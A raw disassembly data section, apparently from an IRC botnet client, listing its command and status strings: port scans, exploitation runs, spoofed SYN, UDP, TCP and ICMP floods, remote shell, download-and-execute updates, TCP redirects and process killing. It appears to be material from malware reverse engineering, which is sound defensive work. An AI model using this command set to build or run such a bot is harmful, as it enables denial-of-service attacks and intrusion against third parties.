		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_10	db 'Failed to start server thread, error: <%d>.',0
unk_433B70	db    2			; DATA XREF: sub_40CE55+4F32o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_11	db 'Failed to start server thread, error: <%d>.',0
unk_433BBC	db    2			; DATA XREF: sub_40CE55+4E0Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aAlreadyRunni_0	db 'Already running.',0
		align 10h
dword_433BF0	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: sub_40CE55:loc_411C49o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_12	db '  Failed to start scan, port is invalid.',0
		align 4
dword_433C3C	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: sub_40CE55+4D35o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aSPortScanStart	db '  %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
dword_433CB8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+4AF9o
		dd 2029206Ch, 2BBBB02h
aNickChangedToS	db '  Nick changed to: ',27h,'%s',27h,'.',0
		align 10h
dword_433CF0	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+4AE0o
		dd 2029206Ch, 2BBBB02h
aJoinedChannelS	db '  Joined channel: ',27h,'%s',27h,'.',0
dword_433D24	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+4AC0o
		dd 2029206Ch, 2BBBB02h
aPartedChannelS	db '  Parted channel: ',27h,'%s',27h,'.',0
dword_433D58	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+4AA7o
		dd 2029206Ch, 2BBBB02h,	52492020h, 61522043h, 25203A77h
		dd 2E73h
dword_433D84	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: sub_40CE55:loc_41187Eo
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToKillTh	db '  Failed to kill thread: %s.',0
		align 4
dword_433DC4	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: sub_40CE55+4A22o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aKilledThreadS_	db '  Killed thread: %s.',0
		align 4
dword_433DFC	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: sub_40CE55:loc_411831o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aNoActiveThread	db '  No active threads found.',0
		align 4
dword_433E38	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: sub_40CE55+49D2o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aStoppedDThread	db '  Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_40CE55+49B8o
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+492Do
					; sub_40CE55:loc_412589o
		align 4
dword_433E88	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+48B7o
		dd 2029206Ch, 2BBBB02h
aPrefixChangedT	db '  Prefix changed to: ',27h,'%c',27h,'.',0
		align 10h
unk_433EC0	db    2			; DATA XREF: sub_40CE55:loc_4116F7o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCouldnTOpenF_0	db 'Couldn',27h,'t open file: %s',0
		align 4
unk_433EF8	db    2			; DATA XREF: sub_40CE55+4898o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFileOpenedS	db 'File opened: %s',0
dword_433F28	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+486Fo
		dd 2029206Ch, 2BBBB02h
aServerChangedT	db '  Server changed to: ',27h,'%s',27h,'.',0
		align 10h
dword_433F60	dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh
					; DATA XREF: sub_40CE55:loc_4116A8o
		dd 2029206Ch, 2BBBB02h
aCouldnTResol_0	db '  Couldn',27h,'t resolve hostname.',0
		align 4
dword_433F9C	dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh
					; DATA XREF: sub_40CE55+4825o
		dd 2029206Ch, 2BBBB02h
aLookupSS_	db '  Lookup: %s -> %s.',0
dword_433FCC	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_40CE55:loc_411646o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToTermin	db '  Failed to terminate process: %s',0
		align 10h
dword_434010	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_40CE55+47E7o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessKilledS	db '  Process killed: %s',0
		align 4
dword_434048	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_40CE55:loc_4115E6o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToTerm_0	db '  Failed to terminate process ID: %s',0
		align 10h
dword_434090	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_40CE55+478Ao
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessKilledI	db '  Process killed ID: %s',0
dword_4340C8	dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
					; DATA XREF: sub_40CE55+4749o
		dd 29206C1Fh, 0BBBB0220h, 44202002h, 74656C65h,	27206465h
		dd 2E277325h, 0
dword_4340F8	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40CE55+46C4o
		dd 2029206Ch, 2BBBB02h
aSendFileSUserS	db '  Send File: %s, User: %s.',0
		align 10h
dword_434130	dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
					; DATA XREF: sub_40CE55+4652o
		dd 29206C1Fh, 0BBBB0220h, 4C202002h, 3A747369h,	732520h
unk_434158	db    2			; DATA XREF: sub_40CE55+4637o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_13	db 'Failed to start connection thread, error: <%d>.',0
dword_4341A8	dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h
					; DATA XREF: sub_40CE55+45C8o
		dd 206C1F64h, 0BB022029h, 202002BBh, 3A4C5255h,	2E732520h
		dd 0
dword_4341D4	dd 28026502h, 62302E31h, 20282029h, 6372696Dh, 641F6D2Eh
					; DATA XREF: sub_40CE55:loc_4113AEo
		dd 29206C1Fh, 0BBBB0220h, 43202002h, 616D6D6Fh,	7320646Eh
		dd 2E746E65h, 0
unk_434204	db    2			; DATA XREF: sub_40CE55+454Fo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Dh	; m
		db 69h,	72h, 63h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientNotOpen_	db '  Client not open.',0
dword_434234	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40CE55+451Eo
		dd 2029206Ch, 2BBBB02h,	6F432020h, 6E616D6Dh, 203A7364h
		dd 7325h
dword_434260	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40CE55+4513o
		dd 2029206Ch, 2BBBB02h
aErrorSendingTo	db '  Error sending to remote shell.',0
		align 10h
dword_4342A0	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+44D3o
		dd 2029206Ch, 2BBBB02h
aReadFileFailed	db '  Read file failed: %s',0
		align 4
dword_4342D4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+44BFo
		dd 2029206Ch, 2BBBB02h
aReadFileComple	db '  Read file complete: %s',0
		align 4
dword_43430C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+443Ao
		dd 2029206Ch, 2BBBB02h,	65472020h, 736F6874h, 25203A74h
		dd 2E73h
dword_434338	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+43FFo
		dd 2029206Ch, 2BBBB02h
aUnableToExtrac	db '  Unable to extract Gethost command.',0
		align 4
dword_43437C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+43E3o
		dd 2029206Ch, 2BBBB02h
aGethostSComman	db '  Gethost: %s, Command: %s',0
		align 4
dword_4343B4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+4361o
		dd 2029206Ch, 2BBBB02h
aAliasAddedS_	db '  Alias added: %s.',0
		align 4
dword_4343E4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+4326o
		dd 2029206Ch, 2BBBB02h
aPrivmsgSS_	db '  Privmsg: %s: %s.',0
		align 4
dword_434414	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+42D0o
		dd 2029206Ch, 2BBBB02h
aActionSS_	db '  Action: %s: %s.',0
		align 4
dword_434444	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+4268o
		dd 2029206Ch, 2BBBB02h,	79432020h, 2E656C63h, 0
dword_43446C	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_40CE55+422Eo
					; sub_40CE55+4AB2o
dword_434478	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+41FFo
		dd 2029206Ch, 2BBBB02h
aModeChangeS	db '  Mode change: %s',0
		align 4
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_40CE55+41F1o
		align 4
dword_4344B4	dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
					; DATA XREF: sub_40CE55+41C8o
		dd 206C1F64h, 0BB022029h, 202002BBh, 20776152h,	29732528h
		dd 7325203Ah, 0
dword_4344E4	dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
					; DATA XREF: sub_40CE55+415Do
		dd 206C1F64h, 0BB022029h, 202002BBh, 65646F4Dh,	73252820h
		dd 25203A29h, 73h
dword_434514	dd 45444F4Dh, 732520h	; DATA XREF: sub_40CE55+4108o
dword_43451C	dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
					; DATA XREF: sub_40CE55+40D3o
		dd 206C1F64h, 0BB022029h, 202002BBh, 6B63694Eh,	73252820h
		dd 25203A29h, 73h
dword_43454C	dd 4B43494Eh, 732520h	; DATA XREF: sub_40CE55+407Do
					; sub_40CE55+48F9o
dword_434554	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_40CE55+405Eo
dword_434560	dd 54524150h, 732520h	; DATA XREF: sub_40CE55+3FF4o
dword_434568	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55:loc_410E36o
		dd 2029206Ch, 2BBBB02h
aRepeatNotAllow	db '  Repeat not allowed in command line: %s',0
		align 10h
dword_4345B0	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+3FAAo
		dd 2029206Ch, 2BBBB02h,	65522020h, 74616570h, 7325203Ah
		dd 0
aRepeat		db 'repeat',0           ; DATA XREF: sub_40CE55+3F59o
		align 4
dword_4345E4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55:loc_410D66o
		dd 2029206Ch, 2BBBB02h,	65442020h, 2E79616Ch, 0
dword_43460C	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_40CE55+3ED1o
					; sub_40CE55+3F84o ...
unk_43461C	db    2			; DATA XREF: sub_40CE55:loc_410CD5o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  75h	; u
		db 70h,	64h, 61h
		db  74h	; t
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aBotIdMustBeDif	db ' Bot ID must be different than current running process.',0
unk_434674	db    2			; DATA XREF: sub_40CE55+3E76o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  75h	; u
		db 70h,	64h, 61h
		db  74h	; t
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToStartD	db ' Failed to start download thread, error: <%d>.',0
		align 4
unk_4346C4	db    2			; DATA XREF: sub_40CE55+3E07o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  75h	; u
		db 70h,	64h, 61h
		db  74h	; t
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aDownloadingUpd	db ' Downloading update from: %s.',0
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_40CE55+3D61o
		align 10h
dword_434710	dd 28026502h, 62302E31h, 20282029h, 63657865h, 641F6D2Eh
					; DATA XREF: sub_40CE55+3D02o
		dd 29206C1Fh, 0BBBB0220h, 43202002h, 616D6D6Fh,	3A73646Eh
		dd 732520h
unk_43473C	db    2			; DATA XREF: sub_40CE55+3CE9o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  65h	; e
		db 78h,	65h, 63h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTExecute	db '  Couldn',27h,'t execute file.',0
		align 4
unk_434774	db    2			; DATA XREF: sub_40CE55+3C61o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_14	db '  Failed to start search thread, error: <%d>.',0
		align 4
unk_4347C4	db    2			; DATA XREF: sub_40CE55+3BE7o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingFor_0	db '  Searching for file: %s in: %s.',0
		align 4
dword_434808	dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
					; DATA XREF: sub_40CE55:loc_41099Eo
					; sub_40CE55:loc_4115A5o
		dd 29206C1Fh, 0BBBB0220h, 2002h
unk_434828	db    2			; DATA XREF: sub_40CE55+3B34o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aRenameSToS_	db '  Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 10h
unk_434860	db    2			; DATA XREF: sub_40CE55:loc_410967o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  69h	; i
		db 63h,	6Dh, 70h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aInvalidFloodTi	db '  Invalid flood time must be greater than 0.',0
		align 4
unk_4348AC	db    2			; DATA XREF: sub_40CE55+3B08o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  69h	; i
		db 63h,	6Dh, 70h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartF	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_4348F8	db    2			; DATA XREF: sub_40CE55+3A8Eo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  69h	; i
		db 63h,	6Dh, 70h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSForSS	db '  Flooding: (%s) for %s seconds.',0
		align 4
unk_434938	db    2			; DATA XREF: sub_40CE55+3A17o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  63h	; c
		db 6Ch,	6Fh, 6Eh
		db  65h	; e
		db 73h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToSta_15	db ' Failed to start clone thread, error: <%d>.',0
unk_434984	db    2			; DATA XREF: sub_40CE55+39A8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  63h	; c
		db 6Ch,	6Fh, 6Eh
		db  65h	; e
		db 73h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aCreatedOnSDInC	db ' Created on %s:%d, in channel %s.',0
		align 4
unk_4349C8	db    2			; DATA XREF: sub_40CE55+3920o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 64h,	6Fh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_16	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_434A14	db    2			; DATA XREF: sub_40CE55+38A8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 64h,	6Fh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSSForS	db '  Flooding: (%s:%s) for %s seconds.',0
		align 4
dword_434A58	dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
					; DATA XREF: sub_40CE55+3813o
		dd 2029206Ch, 2BBBB02h
aFailedToSta_17	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_434AA4	dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
					; DATA XREF: sub_40CE55+3799o
		dd 2029206Ch, 2BBBB02h
aFloodingSSFo_0	db '  Flooding: (%s:%s) for %s seconds.',0
unk_434AE4	db    2			; DATA XREF: sub_40CE55+3729o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartT	db '  Failed to start transfer thread, error: <%d>.',0
		align 4
unk_434B38	db    2			; DATA XREF: sub_40CE55+36BAo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloadingUrl	db '  Downloading URL: %s to: %s.',0
		align 4
unk_434B78	db    2			; DATA XREF: sub_40CE55+35EBo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartR	db '  Failed to start redirection thread, error: <%d>.',0
unk_434BCC	db    2			; DATA XREF: sub_40CE55+357Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTcpRedirectCre	db '  TCP redirect created from: %s:%d to: %s:%d.',0
		align 4
unk_434C1C	db    2			; DATA XREF: sub_40CE55+34F1o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_18	db '  Failed to start scan thread, error: <%d>.',0
		align 4
unk_434C6C	db    2			; DATA XREF: sub_40CE55+3482o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aPortScanStarte	db '  Port scan started: %s:%d with delay: %d(ms).',0
aSSS_0		db '[%s] <%s> %s',0     ; DATA XREF: sub_40CE55+33FEo
		align 4
aSSS_1		db '[%s] * %s %s',0     ; DATA XREF: sub_40CE55+3301o
		align 4
dword_434CDC	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_40CE55+3273o
					; sub_40CE55+42B1o
dword_434CE8	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: sub_40CE55+3214o
					; sub_40CE55+4DA6o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_19	db '  Failed to start scan thread, error: <%d>.',0
dword_434D34	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: sub_40CE55+31A5o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aSExploitationS	db '  %s Exploitation started on %s:%d waiting %d seconds for %d minu'
		db 'tes using %d threads.',0
		align 4
aSequential	db 'Sequential',0       ; DATA XREF: sub_40CE55+317Ao
					; sub_40CE55+4D0Ao
		align 4
aRandom_0	db 'Random',0           ; DATA XREF: sub_40CE55+3173o
					; sub_40CE55+4D03o
		align 10h
dword_434DC0	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: sub_40CE55+3035o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_20	db '  Failed to start scan, no IP specified.',0
		align 4
dword_434E0C	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: sub_40CE55+2EECo
					; sub_40CE55+4B52o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aAlreadyDScanni	db '  Already %d scanning threads. Too many specified.',0
		align 10h
dword_434E60	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: sub_40CE55+2EBBo
		dd 2029206Ch, 2BBBB02h
aFailedToSta_21	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_434EAC	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: sub_40CE55+2E4Co
		dd 2029206Ch, 2BBBB02h
aSendingDPacket	db '  Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_40CE55+2D85o
		align 10h
unk_434F20	db    2			; DATA XREF: sub_40CE55+2D70o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_22	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_434F6C	db    2			; DATA XREF: sub_40CE55+2D05o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendingDPingsT	db '  Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 4
dword_434FC8	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: sub_40CE55:loc_40FABDo
		dd 2029206Ch, 2BBBB02h
aInvalidFlood_0	db '  Invalid flood time must be greater than 0.',0
		align 4
dword_435014	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: sub_40CE55+2C5Eo
		dd 2029206Ch, 2BBBB02h
aFailedToSta_23	db '  Failed to start flood thread, error: <%d>.',0
		align 10h
dword_435060	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: sub_40CE55+2BE4o
		dd 2029206Ch, 2BBBB02h
aSSFloodingSSFo	db '  %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_40CE55+2BD4o
		align 10h
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_40CE55+2BCDo
dword_4350B8	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: sub_40CE55+2B38o
